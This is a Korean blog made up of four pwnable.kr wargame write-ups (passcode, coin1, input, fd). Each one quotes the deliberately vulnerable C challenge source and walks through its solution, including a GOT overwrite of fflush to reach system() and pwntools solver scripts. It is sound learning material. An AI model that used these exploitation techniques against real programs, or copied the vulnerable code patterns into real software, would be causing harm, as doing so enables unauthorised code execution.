pwnable passcode 문제를 풀어보자. 이번 문제는 나의 미천한 수준으로는 풀기 쉽지 않았고 많은 부분을 공부하게 되었다...



패스워드 기반 로그인 시스템 프로그램을 C 코드로 컴파일했는데 컴파일러가 경고를 띄우긴 했지만 컴파일은 되었다고 한다. 



flag파일과 실행파일 passcode, 소스 passcode.c가 보인다.

passcode.c를 살펴보자.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include <stdio.h>
#include <stdlib.h>
 
void login(){
    int passcode1;
    int passcode2;
 
    printf("enter passcode1 : ");
    scanf("%d", passcode1);
    fflush(stdin);
 
    // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
    printf("enter passcode2 : ");
        scanf("%d", passcode2);
 
    printf("checking...\n");
    if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
        exit(0);
        }
}
 
void welcome(){
    char name[100];
    printf("enter you name : ");
    scanf("%100s", name);
    printf("Welcome %s!\n", name);
}
 
int main(){
    printf("Toddler's Secure Login System 1.0 beta.\n");
 
    welcome();
    login();
 
    // something after login...
    printf("Now I can safely trust you that you have credential :)\n");
    return 0;    
}
 

cs


언뜻 보면 passcode1과 passcode2에 각각 338150, 13371337을 입력하면 되는 것 같다.



그러나 실제로 코드를 실행해보면 패스코드를 입력하는 단계에서 내가 가장 싫어하는 segmentation fault 오류가 뜬다. (segmentation fault은 프로그램이 허용되지 않은 메모리 영역에 접근을 시도하거나, 허용되지 않은 방법으로 메모리 영역에 접근을 시도할 경우 발생한다.)


다시 소스를 보다 보니 8라인과 13라인의 scanf() 함수에서 문제가 발생한 것을 알 수가 있었다. 

이 소스를 작성한 사람의 의도대로라면 scanf("%d", &passcode1)가 되었어야 했을 것이다. 


passcode1가 선언된 주소를 참조하여 그 곳에 입력받은 값을 저장해야 하기 때문이다. 

그러나 지금 코드대로라면 passcode1은 선언만 되고 초기화되지 않은 상태이므로, 쓰레기값이 저장되어 있을 텐데, 이 쓰레기값 주소에 입력받은 값을 저장하게 된다. 


정상 코드) 

int passcode1; passcode= 쓰레기 값 \xabcdef

scanf("%d" &passcode1); passcode1 변수에 입력한 값 대입됨.


문제의 코드)

int passcode1;   // passcode= 쓰레기 값 ex. \xabcdef

scanf("%d" passcode1); \xabcdef이라는 주소에 입력받은 값 저장



그렇다면 이 부분 전에(특히 welcome함수에서) 뭔가 플래그를 딸 수 있는 부분이 있을 것이라는 킹리적 갓심에 의해,, gdb를 이용해서 리버싱을 해보기로 했다. 

(gdb 사용법 :   

https://bpsecblog.wordpress.com/2016/03/08/gdb_memory_1/ 

https://bpsecblog.wordpress.com/2016/04/04/gdb_memory_2/

http://jangpd007.tistory.com/54

http://create32.tistory.com/entry/GDB-%EC%82%AC%EC%9A%A9%EB%B2%95-x-%EB%AA%85%EB%A0%B9%EC%96%B4 )



welcome 함수에서, 문자열 name[100]을 입력받도록 하고 있는데, ebp-0x70에 입력을 받는 것으로 보인다.

100byte를 입력받도록 하고 있으니 ebp-0x70 ~ ebp-0xc까지가 name이 차지하는 공간이 될 것이다.




login 함수를 살펴보자. passcode1과 passcode2를 상수와 비교하는 구문을 찾으면 passcode1과 passcode2가 저장되는 곳을 알 수 있다. 

ebp-0x10에 passcode1이 저장되고, ebp-0xc에 passcode2가 저장됨을 알 수 있었다.


그렇다면.. 앞에서 본 name[100]에서 마지막 4바이트로 passcode1을 덮어쓸 수 있을 것이라는 생각이 든다... 





실제로 두 함수에서 ebp의 값도 같으므로 name의 마지막 4바이트로 passcode1를 조작할 수 있다는 것이 확실해졌다.. 


정리하자면, name[97]~name[100] 부분에 저장된 값에 해당하는 주소(passcode1)에 임의의 주소를 scanf() 함수로 입력할 수 있게 되었다.

즉, 특정 주소(4byte)에 특정 값(4byte)를 임의로 작성할 수 있게 된 것.. 그렇다면 특정 주소에 특정 값을 입력함으로써 어떻게 코드의 흐름을 바꿀 수 있을까?

조건문을 통과하지 않고 바로 system("/bin/cat flag") 함수를 호출하도록 조작할 수 있을까?



다시 login함수로 돌아가보자.




일단 passcode1의 주소를 조작해야 하므로 scanf() 함수까지는 정상적으로 수행해야 할 것이다. 

바로 뒤에 나오는 fflush() 함수를 살펴보자.


fflush() 함수는 파일 포인터인 스트림을 매개변수로 받아 출력버퍼를 비워주는 함수인데, 입력 버퍼에 남아 있는 문자를 비우기 위해 fflush(stdin)의 방식으로 사용하기도 한다(이 방식으로 많이 사용되지만 fflush함수는 출력버퍼를 비워주는 함수이기 때문에 입력버퍼를 비우는 식으로 사용하는 이 방식은 잘못된 방식이라고 한다. http://8ublictip.tistory.com/6 참고. 어쨌든, 이 문제 해결을 위해서 중요한 내용은 아니다.)


만약 fflush()가 호출되는 부분에 해당되는 주소에 system("/bin/cat flag")의 시작 부분 주소를 덮어씌울 수 있다면, fflush()가 호출되는 것이 아니라 system()이 호출되면서, 플래그를 볼 수 있을 것이다..!


그렇다면 이 fflush()함수의 시작 주소를 어떻게 알 수 있을까? 

이때 PLT와 GOT의 개념이 필요하다.




PLT와 GOT를 간략하게 설명하자면 이렇다.


PLT (Procedure Linkage Table) : 외부 프로시저를 연결해주는 테이블. PLT를 통해 다른 라이브러리에 있는 프로시저를 호출해 사용할 수 있다.

GOT (Global Offset Table) : PLT가 참조하는 테이블. 프로시저들의 주소가 들어있다.



어떤 소스파일을 실행파일로 만들기 위해서 컴파일(compile)이라는 과정을 거치는데, 컴파일을 하면 오브젝트 파일이 생성된다. 가령 소스파일에 printf함수가 사용되었다고 한다면, 단순히 이 오브젝트 파일만으로는 실행이 불가능하다. printf의 구현 코드를 모르기 때문이다. 따라서 이 오브젝트 파일을 실행하려면 printf의 실행코드를 찾아서 오브젝트 파일과 연결시켜야 한다. printf의 실행코드는 printf의 구현 코드를 컴파일한 오브젝트 파일로, 이런 오브젝트 파일들이 모여있는 곳을 라이브러리라고 한다. 이렇게 라이브러리 등 필요한 오브젝트 파일을 연결시켜주는 작업을 링킹(Linking)이라 하며, 이 링크 과정을 거치면 최종적 실행파일이 생긴다. 링킹 방식에는 Static과 Dynamic방식이 있다.


Static Link방식은 파일 생성 시 라이브러리 내용을 포함한 실행 파일을 만든다.

Dynamic Link 방식은 공유 라이브러리를 사용한다. 라이브러리를 하나의 메모리 공간에 매핑하고 여러 프로그램에서 공유하여 사용한다.

Dynamic Link 방식에서 PLT와 GOT를 사용한다. Dynamic Link방식으로 컴파일 하면 라이브러리가 프로그램 외부에 있기 때문에 함수의 주소를 알아오는 과정이 필요하기 때문이다.



Dynamic Link 방식으로 만들어진 프로그램에서는 함수를 호출할 때 PLT를 참조한다. 

PLT에서는 GOT로 점프하게 되고, GOT에 라이브러리에 존재하는 실제 함수의 주소가 있어서 이 함수를 호출할 수 있게 되는 것이다.

PLT와 GOT의 개념은 더 이상 자세하게 서술하지는 않겠다. 대신 참고할 수 있는 좋은 글들의 링크를 남기겠다.


[PLT & GOT에 관한 참고글]


1. PLT&GOT(1) : PLT와 GOT의 관계 

http://noisivohees.tistory.com/22


2. PLT&GOT(2) : GOT에서 라이브러리 함수의 라이브러리 영역 내의 실제 주소를 구하는 방식에 대해 설명

http://noisivohees.tistory.com/26


3. PLT와 GOT 자세히 알기 : 블랙펄 시큐리티 블로그

https://bpsecblog.wordpress.com/2016/03/07/about_got_plt_1/

https://bpsecblog.wordpress.com/2016/03/09/about_got_plt_2




PLT와 GOT의 개념을 참조하면 flush()함수의 GOT를 system()으로 조작하면 우리가 원하는 결과를 얻을 수 있을 것이다. 


(1) fflush의 GOT와 (2) system()함수의 시작 지점을 알아내보자.





fflush()의 PLT의 정보를 보면 0x804a004로 jmp하라고 한다. 0x804a004를 보니 fflush의 GOT가 맞으며 함수를 처음으로 호출했기 때문에 GOT에 PLT+6 값이 들어가 있는 모습이다. 이 GOT에 system()의 시작 부분을 넣어주면 된다.



system 함수에 인자를 전달해주는 부분이 보이므로 이곳이 시작부분. 




이제 페이로드를 작성해보자. 



scanf에서 "%d"로 받고 있기 때문에 80485E3의 10진수를 넘겨준다. 


플래그를 얻었다..


[참고문헌]


http://noisivohees.tistory.com/22

http://noisivohees.tistory.com/25

http://noisivohees.tistory.com/26

https://bpsecblog.wordpress.com/2016/03/07/about_got_plt_1/

https://bpsecblog.wordpress.com/2016/03/09/about_got_plt_2

https://bpsecblog.wordpress.com/2016/03/08/gdb_memory_1/ 

https://bpsecblog.wordpress.com/2016/04/04/gdb_memory_2/

http://jangpd007.tistory.com/54

http://create32.tistory.com/entry/GDB-%EC%82%AC%EC%9A%A9%EB%B2%95-x-%EB%AA%85%EB%A0%B9%EC%96%B4

http://8ublictip.tistory.com/6



'WriteUp > pwnable.kr' 카테고리의 다른 글

pwnable coin1 writeup  (2) 2018.12.30
pwnable input writeup  (0) 2018.12.30
pwnable.kr fd writeup  (0) 2018.12.29

pwnable.kr coin1 문제를 풀어보자. 이번 문제는 그냥 프로그래밍 문제여서 처음으로 혼자의 힘으로 풀 수 있었다..ㅋ.ㅋ



참고) nc(netcat)은 TCP나 UDP 프로토콜을 사용하는 네트워크 연결에서 데이터를 읽고 쓰는 간단한 유틸리티 프로그램이다. 일반적으로는 UNIX의 cat과 비슷한 사용법을 가지고 있지만 cat이 파일에 쓰거나 읽듯이 nc는 network connection에 읽거나 쓴다. 이것은 스크립트와 병용하여 network에 대한 debugging, testing tool로서 매우 편리하지만 반면 해킹에도 이용범위가 넓다. (출처: http://htst.tistory.com/61) 




접속하면 바로 이런 화면이 뜬다. N개의 동전 중 1개의 위조동전이 있는데 진짜 동전은 무게가 10, 위조 동전은 무게가 9라고 한다. 

무게를 알고 싶은 동전의 인덱스번호를 입력하면 그 무게를 가르쳐주고, 입력할 수 있는 동전의 개수에는 제한이 없다. 

C번의 시도 안에 위조동전을 찾아내면 성공. 

60초 안에 100개의 위조동전을 찾아내야 한다. 잠시 손으로 할까 라는 생각을 했지만.. 역시 아니다. 


이번에도 pwntools를 이용해서 코드를 짜봤다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import * 
import re
import time
 
def compare(start, temp):
    comm = ""
    end = (start + temp) // 2
    global gcomm
    for i in range(start, end):
        comm += "{} ".format(i)
    if len(comm.split(" ")) == 2:
        while True:
            p.sendline(comm)
            tmp = p.recvline()
            if "10\n" in tmp:
                while True:
                    p.sendline(gcomm)
                    tmp = p.recvline()
                    if "Correct" in tmp:
                        return
                        break
            else:
                if "Correct" in tmp:
                    return
                    break
    p.sendline(comm)
    tmp = p.recvline()
    if "Correct" in tmp:
        return
    if tmp.endswith("9\n"):
        gcomm=comm.split(" ")[-2]
        compare(start, end+1)
    else:
        compare(end, temp)
 
np = re.compile("N=(\d+)")
cp = re.compile("C=(\d+)")
gcomm=""
 
= remote("pwnable.kr",  9007)
tmp = p.recvline()
 
while tmp:
    print(tmp)
    if tmp.startswith("N="):
        n = int(np.search(tmp).group(1))
        c = int(cp.search(tmp).group(1))
        compare(0, n)
    tmp = p.recvline()
 

cs


이진탐색트리로 구현해보았다..

개떡같은 코드이지만,,, 어쨌든 돌아가면 그만... 


풀었다..~


'WriteUp > pwnable.kr' 카테고리의 다른 글

pwnable passcode writeup  (0) 2019.01.01
pwnable input writeup  (0) 2018.12.30
pwnable.kr fd writeup  (0) 2018.12.29

pwnable.kr input 문제를 풀어보자.




바로 접속해보자.



이번 문제도 flag와 실행파일 input, 소스 input.c가 있다.

input.c를 살펴보도록 하자.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
 
int main(int argc, char* argv[], char* envp[]){
    printf("Welcome to pwnable.kr\n");
    printf("Let's see if you know how to give input to program\n");
    printf("Just give me correct inputs then you will get the flag :)\n");
 
    // argv
    if(argc != 100return 0;
    if(strcmp(argv['A'],"\x00")) return 0;
    if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
    printf("Stage 1 clear!\n");    
 
    // stdio
    char buf[4];
    read(0, buf, 4);
    if(memcmp(buf, "\x00\x0a\x00\xff"4)) return 0;
    read(2, buf, 4);
        if(memcmp(buf, "\x00\x0a\x02\xff"4)) return 0;
    printf("Stage 2 clear!\n");
    
    // env
    if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
    printf("Stage 3 clear!\n");
 
    // file
    FILE* fp = fopen("\x0a""r");
    if(!fp) return 0;
    if( fread(buf, 41, fp)!=1 ) return 0;
    if( memcmp(buf, "\x00\x00\x00\x00"4) ) return 0;
    fclose(fp);
    printf("Stage 4 clear!\n");    
 
    // network
    int sd, cd;
    struct sockaddr_in saddr, caddr;
    sd = socket(AF_INET, SOCK_STREAM, 0);
    if(sd == -1){
        printf("socket error, tell admin\n");
        return 0;
    }
    saddr.sin_family = AF_INET;
    saddr.sin_addr.s_addr = INADDR_ANY;
    saddr.sin_port = htons( atoi(argv['C']) );
    if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
        printf("bind error, use another port\n");
            return 1;
    }
    listen(sd, 1);
    int c = sizeof(struct sockaddr_in);
    cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
    if(cd < 0){
        printf("accept error, tell admin\n");
        return 0;
    }
    if( recv(cd, buf, 40!= 4 ) return 0;
    if(memcmp(buf, "\xde\xad\xbe\xef"4)) return 0;
    printf("Stage 5 clear!\n");
 
    // here's your flag
    system("/bin/cat flag");    
    return 0;
}
cs


Stage 1에서 5까지 총 다섯 단계로 이루어져 있는 것을 볼 수 있다.



[Stage 1]

    // argv
    if(argc != 100return 0;
    if(strcmp(argv['A'],"\x00")) return 0;
    if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
    printf("Stage 1 clear!\n");    

argc가 100이어야 하고,  argv['A']값이 "\x00", argv['B']는 "\x20\x0a\x0d"여야 한다. 
여기서, argc란 프로그램을 실행할 때 전달하는 인자의 개수를 의미하고 argv는 그 인자를 뜻한다. 
argv[0]은 항상 프로그램 자신의 절대경로이고, argv[1]부터 사용자가 입력하는 인자다. 예를 들어 ./input gogo 라고 프로그램을 실행했다면 argv[0]은 input의 절대경로, argv[1]은 gogo다. 



[Stage 2]

    // stdio
    char buf[4];
    read(0, buf, 4);
    if(memcmp(buf, "\x00\x0a\x00\xff"4)) return 0;
    read(2, buf, 4);
        if(memcmp(buf, "\x00\x0a\x02\xff"4)) return 0;
    printf("Stage 2 clear!\n");


이전에 File Descriptor 개념을 fd 문제에서 알아본 적이 있었다.

fd가 0이면 stdin이므로 콘솔 입력으로 "\x00\x0a\x00\xff"를 입력받고, fd가 2이면 stderr로 "\x00\x0a\x02\xff"를 받아야 한다.




[Stage 3]

    // env
    if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
    printf("Stage 3 clear!\n");

getenv() 함수는 name 이름을 가지는 환경변수에 저장된 값을 읽어온다. 환경변수는 "key=value" 형태로 저장되며, getenv()의 아규먼트로 들어가는 name 은 이 key 이름이 된다. 보통 환경변수는 프로그램의 환경설정을 위한 간단한 방법으로 널리 사용된다. 만약 일치하는 name 을 가지는 환경변수가 있다면 "값"을 되돌려주고 없다면 NULL 을 반환한다.(출처 : https://www.joinc.co.kr/w/man/3/getenv)

"\xde\xad\xbe\xef" key에 해당하는 value를 "\xca\xfe\xba\xbe"로 설정해주면 해결.



[Stage 4]

    // file
    FILE* fp = fopen("\x0a""r");
    if(!fp) return 0;
    if( fread(buf, 41, fp)!=1 ) return 0;
    if( memcmp(buf, "\x00\x00\x00\x00"4) ) return 0;
    fclose(fp);
    printf("Stage 4 clear!\n");    


fread() 구조는 다음과 같다.


1
size_t fread(void *buffer, size_t size, size_t count, FILE *stream);
cs


 void *buffer 

 파일 내용을 읽어들일 메모리 포인터

 size_t size

 데이터 한 단위 당 크기 

 size_t count

 읽어들일 데이터의 개수

 FILE *stream

 대상 파일 스트림 


size * count만큼의 데이터를 대상 파일로부터 버퍼에 읽어들인다.

"\x0a"라는 파일에서 4바이트 만큼 읽어들인 값이 "\x00\x00\x00\x00"이면 해결.




[Stage 5]

    // network
    int sd, cd;
    struct sockaddr_in saddr, caddr;
    sd = socket(AF_INET, SOCK_STREAM, 0);
    if(sd == -1){
        printf("socket error, tell admin\n");
        return 0;
    }
    saddr.sin_family = AF_INET;
    saddr.sin_addr.s_addr = INADDR_ANY;
    saddr.sin_port = htons( atoi(argv['C']) );
    if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
        printf("bind error, use another port\n");
            return 1;
    }
    listen(sd, 1);
    int c = sizeof(struct sockaddr_in);
    cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
    if(cd < 0){
        printf("accept error, tell admin\n");
        return 0;
    }
    if( recv(cd, buf, 40!= 4 ) return 0;
    if(memcmp(buf, "\xde\xad\xbe\xef"4)) return 0;
    printf("Stage 5 clear!\n");

argv['C']값을 포트번호로 하여 소켓서버를 연다. 이후 4바이트 문자열을 입력받아 "\xde\xad\xbe\xef"와 같으면 해결. 




이제 익스플로잇 코드를 제작해보자. pwntools라는 포너블 툴 킷을 이용한 python 코드를 작성했다. 원래 경로인 /home/input2/input에는 작성권한이 없다. 따라서 /tmp 디렉토리에 하위 디렉토리를 하나 만들고 아래의 코드를 작성했다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
 
#stage1
argvs = [str(i) for i in range(100)]
argvs[ord('A')]='\x00'
argvs[ord('B')]="\x20\x0a\x0d"
 
#stage2 stderr
with open("./stderr""w") as f:
    f.write("\x00\x0a\x02\xff")
 
#stage3
environment = {"\xde\xad\xbe\xef" : "\xca\xfe\xba\xbe"}
 
#stage4
with open("./\x0a"'w') as f:
    f.write("\x00\x00\x00\x00")
 
#stage5
argvs[ord('C')]='35555'
 
target = process(excutable="/home/input2/input", argv=argvs, stderr=open("./stderr"), env=environment)
 
#stage2 stdin
target.sendline("\x00\x0a\x00\xff")
 
#stage5
conn = remote('localhost''35555')
 
conn.send("\xde\xad\xbe\xef")
 
target.interactive()
cs


코드를 실행해보자.



어째서인지 모든 스테이지를 클리어 했음에도 플래그가 보이지 않는다. 이는 아래와 같이 flag를 보여주는 부분이 상대경로로 지정되어 있기 때문.


    system("/bin/cat flag");    

/tmp/본인디렉토리/ 에 원래 flag파일의 심블릭 링크를 하나 만들어주면 해결.



pwnable input 문제를 풀었다~



[참고문헌]

http://juns0208.tistory.com/40

http://forum.falinux.com/zbxe/index.php?document_srl=408226&category=520881&mid=C_LIB

http://popbox.tistory.com/66

https://www.joinc.co.kr/w/man/3/getenv

http://mintnlatte.tistory.com/28

http://forum.falinux.com/zbxe/index.php?mid=C_LIB&document_srl=430926

http://jhrun.tistory.com/228

https://mandu-mandu.tistory.com/76

http://gmltnscv.tistory.com/27


'WriteUp > pwnable.kr' 카테고리의 다른 글

pwnable passcode writeup  (0) 2019.01.01
pwnable coin1 writeup  (2) 2018.12.30
pwnable.kr fd writeup  (0) 2018.12.29

pwnable.kr의 첫 문제인 fd 문제를 풀어보자.


[문제]



Linux의 file descriptor가 해결의 열쇠가 될 것 같다.





접속하면 실행파일 fd, 소스 fd.c와 flag파일이 있다.

fd.c를 살펴보자.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
    if(argc<2){
        printf("pass argv[1] a number\n");
        return 0;
    }
    int fd = atoi( argv[1] ) - 0x1234;
    int len = 0;
    len = read(fd, buf, 32);
    if(!strcmp("LETMEWIN\n", buf)){
        printf("good job :)\n");
        system("/bin/cat flag");
        exit(0);
    }
    printf("learn about Linux file IO\n");
    return 0;
 
}
cs


먼저 문자열 buf를 선언한 다음, int형 변수 fd에 인자로 받은 숫자에서 0x1234를 뺀 값을 대입한다. 

그리고 read함수를 호출하고, buf와 LETMEWIN\n을 비교하여 같으면 flag를 보여주는 코드이다.

buf를 어떻게 LETMEWIN\n으로 만드느냐가 이 문제의 관건이라고 할 수 있겠다.

buf는 read함수에서 참조되고 있으므로 read함수를 알아보자.




리눅스의 read함수

1
ssize_t read (int fd, void *buf, size_t len);
cs


read() 함수는 위와 같이 정의되어 있다.

buf는 읽어들일 버퍼 같고, len은 그 길이 같은데, fd란 과연 무엇일까?

이때 fd는 문제의 힌트에서 언급한 file descriptor의 약자로서, 먼저 그 개념을 알아볼 필요가 있다.



File Descriptor

유닉스 계열의 운영체제에서는 모든 요소가 파일로서 관리되는데, 파일 디스크립터는 파일에 접근하기 위해 사용되는 개념이다.

리눅스에서 파일을 읽고 쓰기 위해서는 반드시 파일을 Open해야 하는데 파일이 오픈되면 커널은 해당 프로세스의 파일 디스크립터 숫자 중에 사용하지 않는 가장 작은 값을 할당하고 파일 디스크립터 테이블에 등록시켜 관리한다.  그 다음 프로세스가 열려 있는 파일에 시스템 콜을 이용해서 접근할 때 파일 디스크립터 값을 이용해서 이 파일을 가리킬 수 있다. 



또한, 프로세스마다 관례적으로 0,1,2 번은 예약되어 있는데 각각 번호별 의미는 다음과 같다.

0 : 표준 입력 (stdin) / 1 : 표준 출력 (stdout) / 2 : 표준 오류 (stderr)

따라서 실제 하나의 파일을 생성하게 되면 “3번” 부터 File Descriptor가 부여된다.




문제로 돌아와서, read함수는 결국 fd가 가리키고 있는 파일에서 len만큼 buf에 불러들인다고 해석할 수 있다.

우리는 read함수를 통해 buf에 LETMEWIN\n이라는 문자열을 읽어들여야 한다. 

read함수의 fd 인자에 stdin을 가리키는 0을 전달한다면 우리가 LETMEWIN을 입력하여 buf에 저장할 수 있을 것이다. 

따라서 fd값이 0이 되도록 하여야 하므로 프로그램을 실행시키고 0x1234의 십진수 값인 4660을 인자로 전달하면 된다.




pwnable 첫 문제를 풀었다!



[참고문헌]

http://noplanlife.com/?p=1211

http://dev.plusblog.co.kr/22

http://unabated.tistory.com/entry/%ED%8C%8C%EC%9D%BC-%EB%94%94%EC%8A%A4%ED%81%AC%EB%A6%BD%ED%84%B0



'WriteUp > pwnable.kr' 카테고리의 다른 글

pwnable passcode writeup  (0) 2019.01.01
pwnable coin1 writeup  (2) 2018.12.30
pwnable input writeup  (0) 2018.12.30

+ Recent posts